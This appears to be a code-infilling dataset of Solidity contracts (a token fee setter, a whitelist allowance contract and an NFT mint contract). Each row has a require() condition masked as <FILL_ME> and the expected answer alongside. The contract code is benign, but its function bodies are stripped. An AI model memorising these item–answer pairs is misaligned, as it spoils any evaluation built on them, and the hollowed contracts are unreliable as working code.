require(redisFeeOnBuy.add(taxFeeOnBuy) <= 30, "Total fees on buy exceed limit");
require(<FILL_ME>)
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
//Set max transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
}
| redisFeeOnSell.add(taxFeeOnSell)<=30,"Total fees on sell exceed limit" | 65,392 | redisFeeOnSell.add(taxFeeOnSell)<=30 |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import '@openzeppelin/contracts/access/AccessControl.sol';
contract whiteList is AccessControl {
bytes32 SALE_ROLE = keccak256('SALE_ROLE');
constructor() {
}
mapping (address => uint256) whiteListValue;
mapping (address => uint256) whiteListUsed;
uint256 totalAmount;
uint256 totalUsedAmount;
function addWhiteList(address _walletAddress, uint256 _value) public onlyRole(DEFAULT_ADMIN_ROLE) {
require(<FILL_ME>)
whiteListValue[_walletAddress] = _value;
totalAmount += _value;
}
function reduceWhiteList(address _walletAddress, uint256 _value) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function revokeWhitelist(address _walletAddress) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function changeWhitelistAmount(address _walletAddress, uint256 _value) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function addWhiteListUsed(address _walletAddress) public onlyRole(SALE_ROLE) {
}
function checkWhiteListRemainAmount(address _walletAddress) public view returns(uint256) {
}
function checkTotalAmount() public view returns(uint256) {
}
function checkTotalUsedAmount() public view returns(uint256) {
}
function checkTotalRemainAmount() public view returns(uint256) {
}
function checkWhiteList(address _address) public view returns(uint256) {
}
function checkWhiteListUsed(address _address) public view returns(uint256) {
}
}
| whiteListValue[_walletAddress]==0 | 65,492 | whiteListValue[_walletAddress]==0 |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import '@openzeppelin/contracts/access/AccessControl.sol';
contract whiteList is AccessControl {
bytes32 SALE_ROLE = keccak256('SALE_ROLE');
constructor() {
}
mapping (address => uint256) whiteListValue;
mapping (address => uint256) whiteListUsed;
uint256 totalAmount;
uint256 totalUsedAmount;
function addWhiteList(address _walletAddress, uint256 _value) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function reduceWhiteList(address _walletAddress, uint256 _value) public onlyRole(DEFAULT_ADMIN_ROLE) {
require(<FILL_ME>)
whiteListValue[_walletAddress] -= _value;
totalAmount -= _value;
}
function revokeWhitelist(address _walletAddress) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function changeWhitelistAmount(address _walletAddress, uint256 _value) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function addWhiteListUsed(address _walletAddress) public onlyRole(SALE_ROLE) {
}
function checkWhiteListRemainAmount(address _walletAddress) public view returns(uint256) {
}
function checkTotalAmount() public view returns(uint256) {
}
function checkTotalUsedAmount() public view returns(uint256) {
}
function checkTotalRemainAmount() public view returns(uint256) {
}
function checkWhiteList(address _address) public view returns(uint256) {
}
function checkWhiteListUsed(address _address) public view returns(uint256) {
}
}
| (whiteListValue[_walletAddress]-whiteListUsed[_walletAddress])>=_value | 65,492 | (whiteListValue[_walletAddress]-whiteListUsed[_walletAddress])>=_value |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import '@openzeppelin/contracts/access/AccessControl.sol';
contract whiteList is AccessControl {
bytes32 SALE_ROLE = keccak256('SALE_ROLE');
constructor() {
}
mapping (address => uint256) whiteListValue;
mapping (address => uint256) whiteListUsed;
uint256 totalAmount;
uint256 totalUsedAmount;
function addWhiteList(address _walletAddress, uint256 _value) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function reduceWhiteList(address _walletAddress, uint256 _value) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function revokeWhitelist(address _walletAddress) public onlyRole(DEFAULT_ADMIN_ROLE) {
require(<FILL_ME>)
uint256 _revokeamount = whiteListValue[_walletAddress];
whiteListValue[_walletAddress] = 0;
totalAmount -= _revokeamount;
}
function changeWhitelistAmount(address _walletAddress, uint256 _value) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function addWhiteListUsed(address _walletAddress) public onlyRole(SALE_ROLE) {
}
function checkWhiteListRemainAmount(address _walletAddress) public view returns(uint256) {
}
function checkTotalAmount() public view returns(uint256) {
}
function checkTotalUsedAmount() public view returns(uint256) {
}
function checkTotalRemainAmount() public view returns(uint256) {
}
function checkWhiteList(address _address) public view returns(uint256) {
}
function checkWhiteListUsed(address _address) public view returns(uint256) {
}
}
| whiteListValue[_walletAddress]!=0 | 65,492 | whiteListValue[_walletAddress]!=0 |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import '@openzeppelin/contracts/access/AccessControl.sol';
contract whiteList is AccessControl {
bytes32 SALE_ROLE = keccak256('SALE_ROLE');
constructor() {
}
mapping (address => uint256) whiteListValue;
mapping (address => uint256) whiteListUsed;
uint256 totalAmount;
uint256 totalUsedAmount;
function addWhiteList(address _walletAddress, uint256 _value) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function reduceWhiteList(address _walletAddress, uint256 _value) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function revokeWhitelist(address _walletAddress) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function changeWhitelistAmount(address _walletAddress, uint256 _value) public onlyRole(DEFAULT_ADMIN_ROLE) {
require(<FILL_ME>)
require(_value >= 1);
uint256 _revokeamount = whiteListValue[_walletAddress];
whiteListValue[_walletAddress] = _value;
totalAmount -= _revokeamount;
totalAmount += _value;
}
function addWhiteListUsed(address _walletAddress) public onlyRole(SALE_ROLE) {
}
function checkWhiteListRemainAmount(address _walletAddress) public view returns(uint256) {
}
function checkTotalAmount() public view returns(uint256) {
}
function checkTotalUsedAmount() public view returns(uint256) {
}
function checkTotalRemainAmount() public view returns(uint256) {
}
function checkWhiteList(address _address) public view returns(uint256) {
}
function checkWhiteListUsed(address _address) public view returns(uint256) {
}
}
| whiteListValue[_walletAddress]>=1 | 65,492 | whiteListValue[_walletAddress]>=1 |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
import '@openzeppelin/contracts/access/AccessControl.sol';
contract whiteList is AccessControl {
bytes32 SALE_ROLE = keccak256('SALE_ROLE');
constructor() {
}
mapping (address => uint256) whiteListValue;
mapping (address => uint256) whiteListUsed;
uint256 totalAmount;
uint256 totalUsedAmount;
function addWhiteList(address _walletAddress, uint256 _value) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function reduceWhiteList(address _walletAddress, uint256 _value) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function revokeWhitelist(address _walletAddress) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function changeWhitelistAmount(address _walletAddress, uint256 _value) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
function addWhiteListUsed(address _walletAddress) public onlyRole(SALE_ROLE) {
require(<FILL_ME>)
whiteListUsed[_walletAddress] ++;
totalUsedAmount ++;
}
function checkWhiteListRemainAmount(address _walletAddress) public view returns(uint256) {
}
function checkTotalAmount() public view returns(uint256) {
}
function checkTotalUsedAmount() public view returns(uint256) {
}
function checkTotalRemainAmount() public view returns(uint256) {
}
function checkWhiteList(address _address) public view returns(uint256) {
}
function checkWhiteListUsed(address _address) public view returns(uint256) {
}
}
| whiteListValue[_walletAddress]>whiteListUsed[_walletAddress] | 65,492 | whiteListValue[_walletAddress]>whiteListUsed[_walletAddress] |
"You need at least one Milady friend" | // SPDX-License-Identifier: MIT
/*
Welcome to the Milady Christmas Special!
*/
pragma solidity ^0.8.14;
import "https://github.com/ProjectOpenSea/operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract MILADYCHRISTMAS is ERC721A, DefaultOperatorFilterer, Ownable {
address public constant MILADY_MAKER = 0x5Af0D9827E0c53E4799BB226655A1de152A425a5;
address public constant SONORA_MAKER = 0x9a051C1794C2f0ED9518Fcb68973DA84f756e29E;
address public constant MILADY_AURA = 0x2fC722C1c77170A61F17962CC4D039692f033b43;
address public constant BORED_MILADY = 0xafe12842e3703a3cC3A71d9463389b1bF2c5BC1C;
address public constant MILAIDY = 0x0D8A3359182DCa59CCAF36F5c6C6008b83ceB4A6;
address public constant PIXELADY_MAKER = 0x8Fc0D90f2C45a5e7f94904075c952e0943CFCCfd;
address public constant REMILIO = 0xD3D9ddd0CF0A5F0BFB8f7fcEAe075DF687eAEBaB;
address public constant MILADY_RAVE = 0x880a965fAe95f72fe3a3C8e87ED2c9478C8e0a29;
address public constant GHIBLADY_MAKER = 0x186E74aD45bF81fb3712e9657560f8f6361cbBef;
address public constant PIXELADY_MAKER_BC = 0x4D40C64A8E41aC96b85eE557A434410672221750;
address public constant RADBRO = 0xE83C9F09B0992e4a34fAf125ed4FEdD3407c4a23;
uint256 public cost = 0.03 ether;
uint256 public WLcost = 0.02 ether;
uint256 public freecost = 0.00 ether;
uint256 public maxSupply = 1000;
uint256 public maxMintAmount = 10;
uint256 public maxOwnerMintAmount = 20;
uint16 public maxRadBroMintAmount = 1;
uint16 public totalRadBros = 0;
bool public PublicActive = false;
mapping(address => uint16) private _radBro;
bool MiladyFriendsActive = false;
string public baseURI = "";
mapping(address => bool) public claimed;
constructor(
string memory _name,
string memory _symbol) ERC721A(_name, _symbol) {
}
modifier miladyFriends() {
require(<FILL_ME>)
_;
}
modifier radBro() {
}
modifier publicMintActive(){
}
modifier WLMintActive(){
}
function mint(uint16 _mintAmount)
external
payable
publicMintActive
{
}
function wlMint(uint16 _mintAmount)
external
payable
miladyFriends
WLMintActive
{
}
function radBroMint()
external
payable
radBro
WLMintActive
{
}
function ownerMint(uint16 _mintAmount) external payable onlyOwner {
}
function toBytes32(address addr) pure internal returns (bytes32){
}
function withdraw() external payable onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function setMintRate(uint256 _mintRate) public onlyOwner {
}
function setMintAmount(uint256 _mintAmount) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setActive(bool _newStatus) public onlyOwner {
}
function setMiladyFriendsActive(bool _newStatus) public onlyOwner {
}
function _startTokenId() internal view override returns (uint256) {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| (ERC721(MILADY_MAKER).balanceOf(msg.sender)>=1)||(ERC721(SONORA_MAKER).balanceOf(msg.sender)>=1)||(ERC721(MILADY_AURA).balanceOf(msg.sender)>=1)||(ERC721(BORED_MILADY).balanceOf(msg.sender)>=1)||(ERC721(MILAIDY).balanceOf(msg.sender)>=1)||(ERC721(PIXELADY_MAKER).balanceOf(msg.sender)>=1)||(ERC721(REMILIO).balanceOf(msg.sender)>=1)||(ERC721(MILADY_RAVE).balanceOf(msg.sender)>=1)||(ERC721(GHIBLADY_MAKER).balanceOf(msg.sender)>=1)||(ERC721(PIXELADY_MAKER_BC).balanceOf(msg.sender)>=1),"You need at least one Milady friend" | 65,506 | (ERC721(MILADY_MAKER).balanceOf(msg.sender)>=1)||(ERC721(SONORA_MAKER).balanceOf(msg.sender)>=1)||(ERC721(MILADY_AURA).balanceOf(msg.sender)>=1)||(ERC721(BORED_MILADY).balanceOf(msg.sender)>=1)||(ERC721(MILAIDY).balanceOf(msg.sender)>=1)||(ERC721(PIXELADY_MAKER).balanceOf(msg.sender)>=1)||(ERC721(REMILIO).balanceOf(msg.sender)>=1)||(ERC721(MILADY_RAVE).balanceOf(msg.sender)>=1)||(ERC721(GHIBLADY_MAKER).balanceOf(msg.sender)>=1)||(ERC721(PIXELADY_MAKER_BC).balanceOf(msg.sender)>=1) |
"You are not a radbro" | // SPDX-License-Identifier: MIT
/*
Welcome to the Milady Christmas Special!
*/
pragma solidity ^0.8.14;
import "https://github.com/ProjectOpenSea/operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract MILADYCHRISTMAS is ERC721A, DefaultOperatorFilterer, Ownable {
address public constant MILADY_MAKER = 0x5Af0D9827E0c53E4799BB226655A1de152A425a5;
address public constant SONORA_MAKER = 0x9a051C1794C2f0ED9518Fcb68973DA84f756e29E;
address public constant MILADY_AURA = 0x2fC722C1c77170A61F17962CC4D039692f033b43;
address public constant BORED_MILADY = 0xafe12842e3703a3cC3A71d9463389b1bF2c5BC1C;
address public constant MILAIDY = 0x0D8A3359182DCa59CCAF36F5c6C6008b83ceB4A6;
address public constant PIXELADY_MAKER = 0x8Fc0D90f2C45a5e7f94904075c952e0943CFCCfd;
address public constant REMILIO = 0xD3D9ddd0CF0A5F0BFB8f7fcEAe075DF687eAEBaB;
address public constant MILADY_RAVE = 0x880a965fAe95f72fe3a3C8e87ED2c9478C8e0a29;
address public constant GHIBLADY_MAKER = 0x186E74aD45bF81fb3712e9657560f8f6361cbBef;
address public constant PIXELADY_MAKER_BC = 0x4D40C64A8E41aC96b85eE557A434410672221750;
address public constant RADBRO = 0xE83C9F09B0992e4a34fAf125ed4FEdD3407c4a23;
uint256 public cost = 0.03 ether;
uint256 public WLcost = 0.02 ether;
uint256 public freecost = 0.00 ether;
uint256 public maxSupply = 1000;
uint256 public maxMintAmount = 10;
uint256 public maxOwnerMintAmount = 20;
uint16 public maxRadBroMintAmount = 1;
uint16 public totalRadBros = 0;
bool public PublicActive = false;
mapping(address => uint16) private _radBro;
bool MiladyFriendsActive = false;
string public baseURI = "";
mapping(address => bool) public claimed;
constructor(
string memory _name,
string memory _symbol) ERC721A(_name, _symbol) {
}
modifier miladyFriends() {
}
modifier radBro() {
require(<FILL_ME>)
_;
}
modifier publicMintActive(){
}
modifier WLMintActive(){
}
function mint(uint16 _mintAmount)
external
payable
publicMintActive
{
}
function wlMint(uint16 _mintAmount)
external
payable
miladyFriends
WLMintActive
{
}
function radBroMint()
external
payable
radBro
WLMintActive
{
}
function ownerMint(uint16 _mintAmount) external payable onlyOwner {
}
function toBytes32(address addr) pure internal returns (bytes32){
}
function withdraw() external payable onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function setMintRate(uint256 _mintRate) public onlyOwner {
}
function setMintAmount(uint256 _mintAmount) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setActive(bool _newStatus) public onlyOwner {
}
function setMiladyFriendsActive(bool _newStatus) public onlyOwner {
}
function _startTokenId() internal view override returns (uint256) {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| (ERC721(RADBRO).balanceOf(msg.sender)>=1),"You are not a radbro" | 65,506 | (ERC721(RADBRO).balanceOf(msg.sender)>=1) |
"Only 10 mints per address" | // SPDX-License-Identifier: MIT
/*
Welcome to the Milady Christmas Special!
*/
pragma solidity ^0.8.14;
import "https://github.com/ProjectOpenSea/operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract MILADYCHRISTMAS is ERC721A, DefaultOperatorFilterer, Ownable {
address public constant MILADY_MAKER = 0x5Af0D9827E0c53E4799BB226655A1de152A425a5;
address public constant SONORA_MAKER = 0x9a051C1794C2f0ED9518Fcb68973DA84f756e29E;
address public constant MILADY_AURA = 0x2fC722C1c77170A61F17962CC4D039692f033b43;
address public constant BORED_MILADY = 0xafe12842e3703a3cC3A71d9463389b1bF2c5BC1C;
address public constant MILAIDY = 0x0D8A3359182DCa59CCAF36F5c6C6008b83ceB4A6;
address public constant PIXELADY_MAKER = 0x8Fc0D90f2C45a5e7f94904075c952e0943CFCCfd;
address public constant REMILIO = 0xD3D9ddd0CF0A5F0BFB8f7fcEAe075DF687eAEBaB;
address public constant MILADY_RAVE = 0x880a965fAe95f72fe3a3C8e87ED2c9478C8e0a29;
address public constant GHIBLADY_MAKER = 0x186E74aD45bF81fb3712e9657560f8f6361cbBef;
address public constant PIXELADY_MAKER_BC = 0x4D40C64A8E41aC96b85eE557A434410672221750;
address public constant RADBRO = 0xE83C9F09B0992e4a34fAf125ed4FEdD3407c4a23;
uint256 public cost = 0.03 ether;
uint256 public WLcost = 0.02 ether;
uint256 public freecost = 0.00 ether;
uint256 public maxSupply = 1000;
uint256 public maxMintAmount = 10;
uint256 public maxOwnerMintAmount = 20;
uint16 public maxRadBroMintAmount = 1;
uint16 public totalRadBros = 0;
bool public PublicActive = false;
mapping(address => uint16) private _radBro;
bool MiladyFriendsActive = false;
string public baseURI = "";
mapping(address => bool) public claimed;
constructor(
string memory _name,
string memory _symbol) ERC721A(_name, _symbol) {
}
modifier miladyFriends() {
}
modifier radBro() {
}
modifier publicMintActive(){
}
modifier WLMintActive(){
}
function mint(uint16 _mintAmount)
external
payable
publicMintActive
{
// _safeMint's second argument now takes in a quantity, not a tokenId.
require(totalSupply() + _mintAmount <= maxSupply, "Not enough left to mint");
require(<FILL_ME>)
require(_mintAmount > 0, "Select at least 1 Milady Christmas");
require(msg.value >= (cost * _mintAmount), "Pay Up");
_safeMint(msg.sender, _mintAmount);
}
function wlMint(uint16 _mintAmount)
external
payable
miladyFriends
WLMintActive
{
}
function radBroMint()
external
payable
radBro
WLMintActive
{
}
function ownerMint(uint16 _mintAmount) external payable onlyOwner {
}
function toBytes32(address addr) pure internal returns (bytes32){
}
function withdraw() external payable onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function setMintRate(uint256 _mintRate) public onlyOwner {
}
function setMintAmount(uint256 _mintAmount) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setActive(bool _newStatus) public onlyOwner {
}
function setMiladyFriendsActive(bool _newStatus) public onlyOwner {
}
function _startTokenId() internal view override returns (uint256) {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| _mintAmount+_numberMinted(msg.sender)<=maxMintAmount,"Only 10 mints per address" | 65,506 | _mintAmount+_numberMinted(msg.sender)<=maxMintAmount |
"Pay Up" | // SPDX-License-Identifier: MIT
/*
Welcome to the Milady Christmas Special!
*/
pragma solidity ^0.8.14;
import "https://github.com/ProjectOpenSea/operator-filter-registry/src/DefaultOperatorFilterer.sol";
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
contract MILADYCHRISTMAS is ERC721A, DefaultOperatorFilterer, Ownable {
address public constant MILADY_MAKER = 0x5Af0D9827E0c53E4799BB226655A1de152A425a5;
address public constant SONORA_MAKER = 0x9a051C1794C2f0ED9518Fcb68973DA84f756e29E;
address public constant MILADY_AURA = 0x2fC722C1c77170A61F17962CC4D039692f033b43;
address public constant BORED_MILADY = 0xafe12842e3703a3cC3A71d9463389b1bF2c5BC1C;
address public constant MILAIDY = 0x0D8A3359182DCa59CCAF36F5c6C6008b83ceB4A6;
address public constant PIXELADY_MAKER = 0x8Fc0D90f2C45a5e7f94904075c952e0943CFCCfd;
address public constant REMILIO = 0xD3D9ddd0CF0A5F0BFB8f7fcEAe075DF687eAEBaB;
address public constant MILADY_RAVE = 0x880a965fAe95f72fe3a3C8e87ED2c9478C8e0a29;
address public constant GHIBLADY_MAKER = 0x186E74aD45bF81fb3712e9657560f8f6361cbBef;
address public constant PIXELADY_MAKER_BC = 0x4D40C64A8E41aC96b85eE557A434410672221750;
address public constant RADBRO = 0xE83C9F09B0992e4a34fAf125ed4FEdD3407c4a23;
uint256 public cost = 0.03 ether;
uint256 public WLcost = 0.02 ether;
uint256 public freecost = 0.00 ether;
uint256 public maxSupply = 1000;
uint256 public maxMintAmount = 10;
uint256 public maxOwnerMintAmount = 20;
uint16 public maxRadBroMintAmount = 1;
uint16 public totalRadBros = 0;
bool public PublicActive = false;
mapping(address => uint16) private _radBro;
bool MiladyFriendsActive = false;
string public baseURI = "";
mapping(address => bool) public claimed;
constructor(
string memory _name,
string memory _symbol) ERC721A(_name, _symbol) {
}
modifier miladyFriends() {
}
modifier radBro() {
}
modifier publicMintActive(){
}
modifier WLMintActive(){
}
function mint(uint16 _mintAmount)
external
payable
publicMintActive
{
// _safeMint's second argument now takes in a quantity, not a tokenId.
require(totalSupply() + _mintAmount <= maxSupply, "Not enough left to mint");
require(_mintAmount + _numberMinted(msg.sender) <= maxMintAmount, "Only 10 mints per address");
require(_mintAmount > 0, "Select at least 1 Milady Christmas");
require(<FILL_ME>)
_safeMint(msg.sender, _mintAmount);
}
function wlMint(uint16 _mintAmount)
external
payable
miladyFriends
WLMintActive
{
}
function radBroMint()
external
payable
radBro
WLMintActive
{
}
function ownerMint(uint16 _mintAmount) external payable onlyOwner {
}
function toBytes32(address addr) pure internal returns (bytes32){
}
function withdraw() external payable onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
function setMintRate(uint256 _mintRate) public onlyOwner {
}
function setMintAmount(uint256 _mintAmount) public onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setActive(bool _newStatus) public onlyOwner {
}
function setMiladyFriendsActive(bool _newStatus) public onlyOwner {
}
function _startTokenId() internal view override returns (uint256) {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override
onlyAllowedOperator(from)
{
}
}
| msg.value>=(cost*_mintAmount),"Pay Up" | 65,506 | msg.value>=(cost*_mintAmount) |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.